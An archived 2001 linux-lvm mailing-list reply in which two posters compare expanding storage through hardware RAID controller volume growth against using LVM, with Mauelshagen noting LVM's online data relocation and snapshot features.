On Fri, Jun 15, 2001 at 04:51:35PM +0200, Heinz J. Mauelshagen wrote: > On Fri, Jun 15, 2001 at 04:11:51PM +0200, Hugo Lombard wrote: > > > > If you're using LVM primarily as a way to make it possible for you to > > expand your storage space on-line (and on-mount-point) wouldn't it be > > "easier" to _just_ use the RAID? i.e. expand the RAID volume on the > > controller, so basically the "disk" is bigger now, and the just "grow" > > your partition, extend your filesystem, and that's it? > > I think you're right in case you can live with the restrictions involved. > I'm right!?!?! Mother would be so proud!! ;) > If the amount of resizable volumes a single smart controller can support is > enough, you can surely go with that solution. When it comes to more storage > you need a logical volume manager to group multiple disk subsystems together > in order to support large storage configurations. > *nod* As usual, there's no universal answer, and it depends on you needs/configuration/preference/phase of moon... > > > > It's a thought I've been toying with since seeing the IBM ServeRAID's > > capability to grow volumes. I've not attempted any testing though, so > > this is pure speculation... > > > > (PS: All this means nothing if you're using LVM for it's other > > features, like striping, but then the RAID can do that too...) > > Plus LVM's features to move data around online in order to relocate it to > faster/bigger/newer disk subsystems, to have more that just a couple of > resizable devices, support for hardware block device reconfiguration without > any changes in the namespace of the logical volumes, snapshot support etc. > Very important features to consider, for sure. -- Dorothy: But how can you talk without a brain? Scarecrow: Well, I don't know... but some people without brains do an awful lot of talking. -- The Wizard of Oz --------------------------------------------------------------------------- Hugo Lombard Infoline (Pty) Ltd System Administrator ---------------------------------------------------------------------------
https://www.redhat.com/archives/linux-lvm/2001-June/msg00137.html
CC-MAIN-2014-15
refinedweb
328
61.97
A client for the tinder api This is a python client for the Tinder API. Please see the examples for more information on how to use. You start by instantiating a pynder.Session object with a Facebook ID and Facebook access token. Once your session is initialized you have the following methods / attributes: import pynder session = pynder.Session(facebook_id, facebook_auth_token) session.matches() # get users you have already been matched with session.update_location(LAT, LON) # updates latitude and longitude for your profile session.profile # your profile. If you update its attributes they will be updated on Tinder. users = session.nearby_users() # returns a list of users nearby When you run nearby_users you will receive a list of Hopeful objects. These have the following properties: user = users[0] user.bio # their biography user.name # their name user.photos # a list of photo URLs user.thumbnail #a list of thumbnails of photo URLS user.age # their age user.birth_date # their birth_date user.ping_time # last online user.distance_km # distane from you user.common_connections # friends in common user.common_interests # likes in common - returns a list of {'name':NAME, 'id':ID} user.get_photos(width=WIDTH) # a list of photo URLS with either of these widths ["84","172","320","640"] user.instagram_username # instagram username user.instagram_photos # a list of instagram photos with these fields for each photo: 'image','link','thumbnail' user.schools # list of schools user.jobs # list of jobs You may run user.like(), user.superlike() or user.dislike() on that user. For your list of matches, they will have the same attributes as above except you can’t dislike or like them. You can, however, see any messages exchanged (match.messages) or send them a message yourself (match.message("Eyyyy gurl")). Please let me know if you have any questions or bug reports. To run the tests add a test.ini to the pynder/tests/ folder with your facebook auth details: [FacebookAuth] facebook_id = XXXX facebook_token = YYYY And install the needed test deps: $ pip install vcrpy nose coverage Now we we can run the tests: $ nosetests pynder --with-coverage --cover-package pynder ATTENTION The recorded request may contain personal data so remove them before committing. Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
https://pypi.org/project/pynder/
CC-MAIN-2017-26
refinedweb
377
62.34
In this tutorial we will discuss in java constructor and its type with example. Constructors : A constructor is a special kind of method that has the same name as the class itself. It enables an object to initialize itself when it is created. There are two points to remember during creation of constructors- Types of Constructors : Default Constructor : Default constructor is used when you want to automatically initialize the object variable with some default values at the time of object instantiation. It may be initialize with default value zero or you may supply your own valid value or left blank the block. Parameterized Constructor : Parameterized constructor takes some arguments at the time of object creation. At the time of object instantiation, the parameterized constructor is explicitly invoked by passing certain arguments. Example : class Sum { int x, y; // Default constructor Sum() { x = 12; y = 22; } // Parameterized constructor Sum(int a, int b) { x = a; y = b; } void displaySum() { int sum; sum = x + y; System.out.println("Sum of two integers : " + sum); } } public class ConstructorExample { public static void main(String[] args) { Sum sum1 = new Sum(); // Calling default constructor Sum sum2 = new Sum(40, 39); // Calling parameterized constructor sum1.displaySum(); sum2.displaySum(); } } Description : In this example, we have defined two constructors, one is default constructor and another is parameterized constructor. In the default constructor, we have initialized the value of class variables x and y to 12 and 22 respectively. While in parameterized constructor, we have passed two parameters a and b which is set equal to the class variables x and y. Now, to display the sum of two numbers, we have created a method displaySum() that calculates the addition of two numbers x and y. In the main method we have created two objects of same class with different constructors and invoke method with both objects and display the sum. Output : Sum of two integers : 34 Sum of two integers : 79 Advertisements Posted on: Nove+
http://www.roseindia.net/tutorial/java/core/ConstructorExample.html
CC-MAIN-2015-32
refinedweb
324
50.06
Specialization of PsiStream to output streams. More... #include <PsiOutStream.h> Specialization of PsiStream to output streams. Makes an OutStreamBase that defaults to std::cout. Creates this by copying other, via base copy constructor. No memory to free up (we don't delete cout or cerr) Dumps Buffer to Stream_. Flushes the Stream. Makes a banner. Let's say you want to print "Hello World!" in a banner comprised of '*' characters, and for simplicity (your banner should be 80 chars long) you only wanted a 16 character long banner. If you passed message="Hello World!",delimiter='*', and width=16, you would get (hopefully you are viewing this in a monospaced font): 0123456789ABCDEF where if you didn't guess the columns are labeled in hexadecimal, so that they are all single characters. For the time being your message must be width-6 characters or shorter because I have mandated that at least one delimiter is printed on each side plus two spaces between that delimiter and the actual message. The remaining space will be filled by delimiters. Consequentially, this means your message must fit on one line. This could of course be remedied by splitting the message across multiple lines, but I'm lazy. Allows c++ like interface for most objects. Allows c++ like interface for things like std::endl. Allows assignment of other to this, calls base assignment. Allows printf (or fprintf) like syntax to this object. This function takes your format stream and converts it to a 1,000 character MAXIMUM char* array. That array is then passed to Buffer_. If the current MPI process is rank 0 on MPI_COMM_WORLD, Buffer_ is then written to Stream_. No locks should be used around your Printf statements, nor is flushing needed. For reference the accepted format flags are (stolen from cplusplus.com): %[flags][width][.precision][length]specifier specifier Output d or i Signed decimal integer u Unsigned decimal integer o Unsigned octal integer x Unsigned hexadecimal integer X Unsigned hexadecimal integer (uppercase) f Decimal floating point, lowercase F Decimal floating point, uppercase e Scientific notation (mantissa/exponent), lowercase E Scientific notation (mantissa/exponent), uppercase g Use the shortest representation: e or f G Use the shortest representation: E or F a Hexadecimal floating point, lowercase A Hexadecimal floating point, uppercase c Character s String of characters p Pointer address n Nothing printed This is the interface for Printf and << operator to Buffer_ for most writable objects. This is the interface for Printf and << operator to Buffer_ for special iostream functions.
http://psicode.org/psi4manual/doxymaster/classpsi_1_1PsiOutStream.html
CC-MAIN-2017-22
refinedweb
418
55.95
Original issue: - - Our app gets called in two separate ways: 1. Like a normal web page through Google chrome 2. Through our native iOS app with WkWebView So our approach was to build only a native app for iOS to fill the gaps of the ServiceWorker (like to enable push notifications, offline support, etc.). Which Safari, obviously doesn't have but chrome does. On Google chrome (all versions) the app works without issues. And on our Safari native app the web app crashes. Total crash happens without error message. So screen just gets blank. We are using Angular and Polymer together. So this is why this issue came up -> **it only happens if a web component is created via** `document.createElement()`. So programmatically. Which Angular always does. This is the browser version of WkWebView (verified with): `Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Mobile/14F89` This is how we instantiate the paper-textarea: ``` <paper-textarea</paper-textarea> ``` The issue is only with paper-textarea. paper-input works perfectly ### Expected outcome <!-- Example: The page stays the same color. --> The app get's loaded correctly over WKWebView. Maybe there is something that `paper-textarea` does, which messes up the loading on WKWebView. ### Actual outcome <!-- Example: The page turns pink. --> # The Problem Adding the <paper-textarea> to index.html was fine, but the Angular DefaultDomRenderer2 could not create it without throwing the error "A newly constructed custom element must not have attributes". This is the cause for things breaking. While `document.createElement()` lets you continue, the element it returns is actually an `HTMLUnknownElement`, and so naturally it doesn't open its Shadow DOM from extending `Polymer.Element`. # Raw vs Programmatic Element Creation There are two ways to "create" an element: raw HTML and programatically. A Polymer project goes through raw HTML. It provides it directly to the browser to render. Angular does things programmatically and calls `document.createElement()`. This is why you can do weird things like `<paper-item class$="[[binding]]">` in Polymer but not Angular. `class$` is not a valid attribute and throws an error when calling `element.setAttribute('class$', '[[binding]]')`. # Not Just Angular! So far, all the tests have just been isolated on `<paper-textarea>`. I'm testing with both this element and `<paper-input>`, since they're similar. `<paper-input>` is perfectly chill with `document.createElement()`. I've ruled out Origami as the problem, so I thought maybe something with zone.js or the reflect shim was adding attributes at element creation. I decided to turn to pure Polymer and take both of these and any other weird Angular shenanigans out of the picture. This is the demo file that we should navigate to within the `WKWebView`. It'll load up just fine and `<paper-textarea>` works. Inspect the console and run the following: ``` window.onerror = function(err) { debugger; console.log('error', err) }; var ele = document.createElement('paper-textarea'); console.log(ele instanceof HTMLUnknownElement); console.log(ele instanceof customElements.get('paper-textarea')); ``` Output: ``` [Log] error – "NotSupportedError (DOM Exception 9): A newly constructed custom element must not have attributes" [Error] NotSupportedError (DOM Exception 9): A newly constructed custom element must not have attributes createElement Console Evaluation (Console Evaluation 4:3) evaluateWithScopeExtension _evaluateOn _evaluateAndWrap evaluate [Log] true [Log] false ``` # Thoughts When creating a small component such as: ``` <dom-module <template> <paper-textarea</paper-textarea> </template> <script> Polymer({ is: 'paper-wrapped', properties: { value: { type: String, notify: true } } }); </script> </dom-module> ``` The whole concept works without problems. The website can be called via WKWebView. We have ruled out the problem with the word "textarea". We thought maybe WKWebView sees that and is adding some textarea-specific attributes when it shouldn't be. But we tried it with this repo: which did not work as well. ### Live Demo <!-- Example: --> * * * ### Steps to reproduce <!-- Example 1. Put a `paper-foo` element in the page. 2. Open the page in a web browser. 3. Click the `paper-foo` element. --> We ran the following tests: 1. We generated a normal polymer project with Polymer starter kit and everything worked as excpected. So the error only comes up if angular (or origami) is included 2. We created this minimal origami project: and the WKWebView crashes at the exact same component. Because of this: 3. If you completely comment out the `paper-textarea` component from the HTML it works without issue. So the TS reference `@ViewChild('messageInput')` has no influence on it. when we commented out `@ViewChild` the same issue persisted. Ony when commenting out the HTML code the app started to work again. For easy testing purposes we created the following iOS native app project: you can just clone & run it. Which is just a WKWebView project. How to test: 1. Clone and install the minimal origami project 2. Clone and install the WKWebView project 3. Start angular with ng serve 4. Start the ios app project on an iPhone simulator and navigate to (you can enter the URL in the actual app) ### Browsers Affected <!-- Check all that apply --> - [ ] Chrome - [ ] Firefox - [X] WKWebView on all safari versions - [ ] Safari 9 - [ ] Safari 8 - [ ] Safari 7 - [ ] Edge - [ ] IE 11 - [ ] IE 10 <rdar://problem/33407620> You'll have to give us an actual test app for us to be able to debug this. Thanks for the reply @Simon Fraser. I have included two test apps: One for the web frontend and one for the WKWebView app. With these two projects it should be perfectly reproducible. Do you need anything else? With "included" I mean I have published the code on GitHub and posted the URL in the description. Not as attachment in the comments. Sorry, I missed that you had github example (there are a lot of words in the report). Just trying to give an accurate report :) FYI: if you wrap the component with all attributes, it still does not work. The property `autocorrect` seems to be causing the problem. Only if you remove that one property in the wrapped component it seems to work. (you don't even need to use the attribute in your element. It's already enough to provoke the crash if `autocorrect` is defined as an attribute) That exception will be thrown if you're trying to add an attribute inside your custom element's constructor per specification. Could you create a simple HTML file which reproduces the issue inside a WKWebView? I really can't follow various instructions and comments you've posted. sure. It can be hard to read as this website does not allow formatting. For a easier read I have also published the issue here: Regarding the HTML file: You can take the HTML content from this site: Unfortunately it's not very easy to publish a single HTML file as I don't really know where the issue is. So we need to define couple of dependencies like Polymer, etc. to reproduce it. But I hope the URL above helps a bit. It can be reproduced with the following HTML snippet: <script type='module'> import ''; document.createElement('paper-textarea'); </script> Also published as CodePen: Created attachment 350499 [details] Reduction Huh, this causes a crash in MobileSafari on iOS 12 simulator... Wow, it still crashes on trunk. This is because "autocorrect" IDL attribute on HTML element is missing CEReactions. Created attachment 350507 [details] Fixes the bug Thank you! Comment on attachment 350507 [details] Fixes the bug Clearing flags on attachment: 350507 Committed r236439: <> All reviewed patches have been landed. Closing bug.
https://bugs.webkit.org/show_bug.cgi?format=multiple&id=174629
CC-MAIN-2022-05
refinedweb
1,249
58.79
C++ Friend Function Example | Friend Function In C++ is today’s topic. A friend function is used to access the private and protected members of the class. Private and Protected data members of the class can only be accessed through member functions of that particular class, but through the friend function, we can access those data members. The declaration of the friend function is inside the class of whose private and protected data members we want to access. C++ Friend Function Content Overview A friend function of the class is defined outside that class’ scope, but it has a right to access all the private and protected members of a class. Even though the prototypes for friend functions appear in the class definition, friends are not member functions. #How To Declare Friend Function See the following syntax. class class_name { friend datatype function_name(parameters) ; }; See the following example. class A { friend void fun1(A); }; #Properties - It must be defined outside to class to which it is a friend. - It has no caller object as it is not a member function and it should not be defined with the membership label or with the friend keyword. - It is not in a scope of the class it has been declared in so it cannot directly access the private or protected data members. We have to pass the object of that class as an argument of the friend function and access data members through the object and the dot membership operator with the member name. - It calls to be called/invoked without any object like a normal function. - A friend function is most preferably declared in private or public part of the class. A friend function is declared with a friend keyword. #Programming Example See the following example program is for creating a friend function and access the private values of the class and display as a result. #include <iostream> using namespace std; class A { private: int a, b; public: void getdata(int x, int y) { a = x; b = y; } friend void fun1(A); }; void fun1(A obj) { cout << "The value of 1st private member is-" << obj.a << endl; cout << "The value of 2nd private member is-" << obj.b << endl; } int main() { A obj1; obj1.getdata(4, 5); fun1(obj1); return (0); } See the following output. Now, see the example program adds two private data members of the class through the friend function and shows the sum as the output. #include <iostream> using namespace std; class A { private: int a, b; public: void getdata(int x, int y) { a = x; b = y; } friend void add(A); }; void add(A obj) { cout << "The first private number:-" << obj.a << endl; cout << "The second private number:-" << obj.b << endl; cout << "Sum-" << obj.a + obj.b << endl; } int main() { int q, r; cout << "Enter two values to make it a private member of the class:-"; cin >> q >> r; A obj1; obj1.getdata(q, r); add(obj1); return (0); } See the following program. In both the examples we have used object of the class as the parameter which is the most important thing while defining a friend function as the friend function is not a member function of the class so it cannot directly access the private members of the class. So to access the private member of the class, we use the object name with a dot membership label and the private data member example( obj_name.private_data_member). Friend function should be used for a limited purpose only as it can lead to our valuable data misleading as it is accessing our private data. It also hampers data encapsulation. #C++ Friend Class A friend class can access all the private and protected data members of the class to which it is declared as a friend. If we want to access the private and protected data members of the class in friend class, we must pass objects of the class to the member functions of the friend class. Friendship doesn’t have an inheritance property. #Declaration of Friend Class class class_name { private: data_type variable_1,variable_2; public: friend class class_name; }; Friend class is beneficial if we want to access the private and protected part of the other class. For instance, if we’re going to compare two different private data members of two different class, then friend class can be very useful. Friend function and class both are considered as a loophole if we compare it with the concepts of object-oriented programming, but it is beneficial if we want to apply some logical concept that requires access of private data members, but it should be used for a limited purpose only. #Example programs for Friend Class See the following program compares the value of private data members of one class to the private data members of the other class and shows the output if they are equal or not with the help of friend class. #include <iostream> using namespace std; class A { private: int a, b; public: void setdata(int x, int y) { a = x; b = y; } friend class B; }; class B { private: int k, t; public: void fixdata(int q, int r) { k = q; t = r; } void compare(A obj) { if (obj.a == k && obj.b == t) { cout << "Both the private members of the class are equal" << endl; } else { cout << "Both the private members of the class are not equal" << endl; } } }; int main() { int y, u, z, i; A obj1; B obj2; cout << "Enter two values which will be private of class A:"; cin >> y >> u; cout << "Enter two values which will be private of class B:"; cin >> z >> i; obj1.setdata(y, u); obj2.fixdata(z, i); obj2.compare(obj1); return (0); } See the following output. See the following program contains two class one is Data which contains the length and breadth of a rectangle as their private member and the other class which is Rectangle which is used to calculate the area and perimeter of the rectangle using the private data members of the class Data using friend class. #include <iostream> using namespace std; class Data { private: int length = 5, breadth = 6; public: friend class Rectangle; }; class Rectangle { public: void area(Data d1) { cout << "Area of the rectange is=" << d1.length * d1.breadth << endl; } void perimeter(Data d2) { cout << "Area of the rectange is=" << 2 * (d2.length + d2.breadth) << endl; } }; int main() { Data obj1; Rectangle obj2; cout << "Length=6" << endl; cout << "Breadth=5" << endl; obj2.area(obj1); obj2.perimeter(obj1); return (0); } See the following output. In both examples, we have to explicitly pass the object of the class in which we have declared friend class. It can be taken like we are calling a function with the object of that particular class and in the function parameter, we are passing the object of the other class from where we have to fetch the private data members. Finally, C++ Friend Function Example | Friend Function In C++ is over.
https://appdividend.com/2019/07/05/c-friend-function-example-friend-function-in-c/
CC-MAIN-2019-47
refinedweb
1,151
66.47
Your browser does not seem to support JavaScript. As a result, your viewing experience will be diminished, and you have been placed in read-only mode. Please download a browser that supports JavaScript, or enable it if it's disabled (i.e. NoScript). Hi, I'm trying to export object an animated hierarchy of objects from Cinema 4D's left coordinates (z+ = forward) with HPB rotations to Three.js's right-hand coordinates (z+ = backward) with XYZ rotations. Unfortunately, I'm a bit beyond my depth with the matrix math and conversions involved. I'd like to take my C4D local coords write them out as local coords in this other system. Any tips on how to approach this? Thanks Donovan PS: Looks like we need an S22 tag in the tags option. Thank you @zipit and @m_magalhaes for your replies! @zipit your response put me on the right track. The issue was that I was trying to do all of the conversions using C4D's left-handed coordinate matrices, and it was auto-fixing my "malformed" matrices. I ended up porting the Three.js Matrix4 and Euler classes from JS to python and using them in my script. So, the final code (leaving out the ported methods) looked something like: mg = self.op.GetMg() parent_mg = self.op.GetUpMg() c4d_to_three = c4d.Matrix( off=c4d.Vector(0), v1=c4d.Vector(1, 0, 0), v2=c4d.Vector(0, 1, 0), v3=c4d.Vector(0, 0, -1) ) # Convert to new coordinate space # mg_three_coords = c4d_to_three * mg * c4d_to_three parent_mg_three_coords = c4d_to_three * parent_mg * c4d_to_three mg_mat4 = Matrix4(mg_three_coords) parent_mg_mat4 = Matrix4(parent_mg_three_coords) inv_parent_mg_mat4 = parent_mg_mat4.Clone() inv_parent_mg_mat4 = inv_parent_mg_mat4.Inverse() node_local = inv_parent_mg_mat4.Clone() node_local = node_local.MultiplyMatrices(inv_parent_mg_mat4, mg_mat4) position, scale, rotation = node_local.Decompose() if position != c4d.Vector(0): self.props["position"] = position if scale != c4d.Vector(1): self.props["scale"] = scale if rotation != c4d.Vector(0): self.props["rotation"] = rotation I do not quite understand the question. You cannot express other frame orientations than Cinema's builtin frame orientation with Cinema's matrices. When you write to one component in such way, that it would produce a malformed matrix, Cinema will silently rectify that matrix. See this script for demonstration: import c4d from c4d import gui def main(): """ """ if not op: return mg = op.GetMg() # Cinema will automatically rectify a matrix so that it does conform # to its world frame. Which is why this will flip also the x-axis, not just # the z-axis. mg.v3 *= -1 op.SetMg(mg) c4d.EvenatAdd() if __name__=='__main__': main() I am not quite sure, what you are after. If you just want an axis tuple, then just grab it from the matrices and invert whatever you have to invert and construct the rest of the matrix with the cross product. Cheers, zipit hi, sound like you just have to switch the Z axis by multiplying it by -1. Either you should go from local to global and back to local that's probably the problem, and with a hierarchy you will maybe hit some cases that i don't think right now. If you could come with one simple example. A c4d scene with a simple animation and what you expect for three.js (maybe the hierarchy isn't important there i don't know) Cheers, Manuel
https://plugincafe.maxon.net/topic/12663/left-hand-local-coordinates-to-right-hand-local-coordinates
CC-MAIN-2021-31
refinedweb
544
51.14
So, I was working with Clojure and… well… it seemed to be the worst combination of slow start-up and slow compilation… and it's supposed to be a dynamic language. So, I pinged the very nice people in the Clojure community and they pointed me in the right direction. Basically, everything you do in Clojure, you do in the REPL. The REPL is a live coding environment. Test First I had been writing code and tests and then checking on my tests with: lein test But that was taking way too long (20 seconds per cycle on my MacBook Pro). So, how does one test first in Clojure? First, one starts the REPL: lein repl Then one changes the namespace to a test package: (ns plugh.file-test ) And get the clojure.test package's functions: (use 'clojure.test) And run tests: plugh.file-test=> (run-tests) Testing plugh.file-test Ran 2 tests containing 2 assertions. 0 failures, 0 errors. {:type :summary, :pass 2, :test 2, :error 0, :fail 0} Edit the tests and the test target, reload the tests and re-run them: plugh.file-test=> (use 'plugh.file-test :reload-all) nil plugh.file-test=> (run-tests) Testing plugh.file-test FAIL in (foo-bar-test) (file_test.clj:22) expected: (foo-bar) actual: (not (foo-bar)) Ran 3 tests containing 3 assertions. 1 failures, 0 errors. {:type :summary, :pass 2, :test 3, :error 0, :fail 1} plugh.file-test=> Fix the function and re-run the tests: plugh.file-test=> (use 'plugh.file-test :reload-all) nil plugh.file-test=> (run-tests) Testing plugh.file-test Ran 3 tests containing 3 assertions. 0 failures, 0 errors. {:type :summary, :pass 3, :test 3, :error 0, :fail 0} plugh.file-test=> The magic is when we :reload-all, then all the dependencies for the package being used are re-loaded as well. But in the REPL, the reload process takes no measurable time. This makes the cycle very, very fast. Change code, switch to the REPL, up-arrow twice, hit return, up-arrow twice, hit return and voila… your new test results. Re-running the app Next I'm going to tackle re-loading and re-running the app. This should bring the Clojure experience to something faster than the Scala/SBT experience. Thanks! Thanks to the folks on the Clojure mailing list who pointed me in the right direction. And I will always keep the REPL at the front of my brain. {{ parent.title || parent.header.title}} {{ parent.tldr }} {{ parent.linkDescription }}{{ parent.urlSource.name }}
https://dzone.com/articles/my-first-clojure-workflow
CC-MAIN-2017-17
refinedweb
427
69.58